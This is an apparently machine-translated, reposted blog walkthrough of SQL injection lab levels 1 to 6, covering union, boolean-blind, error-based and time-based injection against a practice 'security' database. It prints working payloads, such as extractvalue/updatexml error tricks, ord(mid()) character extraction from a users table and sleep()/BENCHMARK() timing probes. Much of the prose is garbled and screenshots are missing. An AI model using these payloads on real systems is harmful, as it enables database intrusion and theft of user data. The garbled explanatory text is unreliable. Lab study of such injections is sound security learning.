従来の射出ブラインド - 1〜6オフのSQLI、ラボ

まず第一に

共同注入

1.準備

IMG

2. [追加「を切り捨て

IMG

クエリ列の数を決定することにより3.order

IMG

4.同上。

IMG

ユニオンクエリのフィールド位置決意

IMG

データベース名を確認してください6

IMG

7.1名のルックアップテーブル

IMG

7.2列名をチェック

IMG

8.調査データ

IMG

第二のハードル

IMG

単一引用符は、整数値のクエリコードと、カットする必要はありません

最初のハードルとして、そうでない場合と同じ

サードオフ

IMG

(「」)の構造を説明

IMG

「で置き換え)へ

第四オフ

IMG

(「」)の構造によって示されます

IMG

に置き換えます「)

フィフスオフ

IMG

....でウルを求めるメッセージが表示されているものを入力どんなに

何の反響はありませんが、ブラインドを試してみてください

ブールブラインド

ブールブラインドの方法があります----

左(1,2)= 1フロント2の左側から取り出さ// 3、および値の比較の3

第二の位置の開始文字列の長さの値から取られたASCII(SUBSTR(1,2,3))// 3は、値がASCIIに変換され、1

正規表現//通常のマッチ指定された目標値と値AZ、右1、0エラー

ID = 1と1 =(TABLE_SCHEMA = 'セキュリティ' とテーブル名の正規表現 '^米国[AZ]' リミット0,1 INFORMATION_SCHEMA.TABLESから1を選択)ユーザSELECT * FROM

//と同じ正規表現のような

ORD()とMID()

(1)用の左

1.テスト

IMG

IMG

前記第1のテストデータベースはbよりも大きいです

IMG

yよりも大きいです

IMG

したがって、B yの最初のビットとの間、試験二分法に使用することができ、その後、何二分法は、数等しい標本になることはできません

IMG

IMG

従って最初の二つの測定など

長手方向の長さ量データベース(2)

IMG

IMG

(3)とSUBSTR ASCIIと

IMG

IMG

IMG

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+

最初のテストテーブル名がeではありません

第SUBSTR(X、2,1)2はそう、変更することができます

IMG

、変化制限2,1 2(3つのシスビット)開始から表し、0,1を制限する第3のテーブルを取得し、値をとる1

IMG

(4)正規表現

列のユーザーテーブルをゲス

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)

IMG

IMG

中期およびORDと(5)

コンテンツのユーザテーブルを取得

and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

IMG

68と比較して、ASCIIのテーブル名のユーザーの最初の行の最初の文字を取得します

エラーブラインド

ブラインドエラーの種類があります----

数、床、グループによって

範囲外のdouble値

BIGINTオーバーフローXPath関数--extractvalueとUPDATEXML

データの再現性

(1)床関数

IMG

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a

(2)範囲のうち重複値

(首尾よく再現することができません)

IMG

union select (exp(~(select*from(select user())x))),2,3

(3)BIGINTオーバーフロー

(また、正常に再現することができませんでした)

IMG

union select(!(select * from(select user())x) - ~0),2,3

(4)XPath関数

IMG

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

IMG

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)

(5)データの再現性

IMG

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x

タイムブラインド

時間ブラインドタイプがあります----

スリープ()関数

BENCHMARK()関数

(1)スリープ機能

エラー、5秒の遅延

IMG

正しいです

IMG

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

(2)ベンチマーク関数

正しいです

IMG

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1

正しい結果は、実行ENCODE(「MSG」、「by5seconds」)操作5000万回は、いくつかの時間とCPUリソースを取るときとき

第六オフ

プロセスのIDパラメータは、に」置き換えます "

これまでのところ、基本的に終了した注入の一般的なタイプを記述する

おすすめ

転載: www.cnblogs.com/drac4ry/p/12239497.html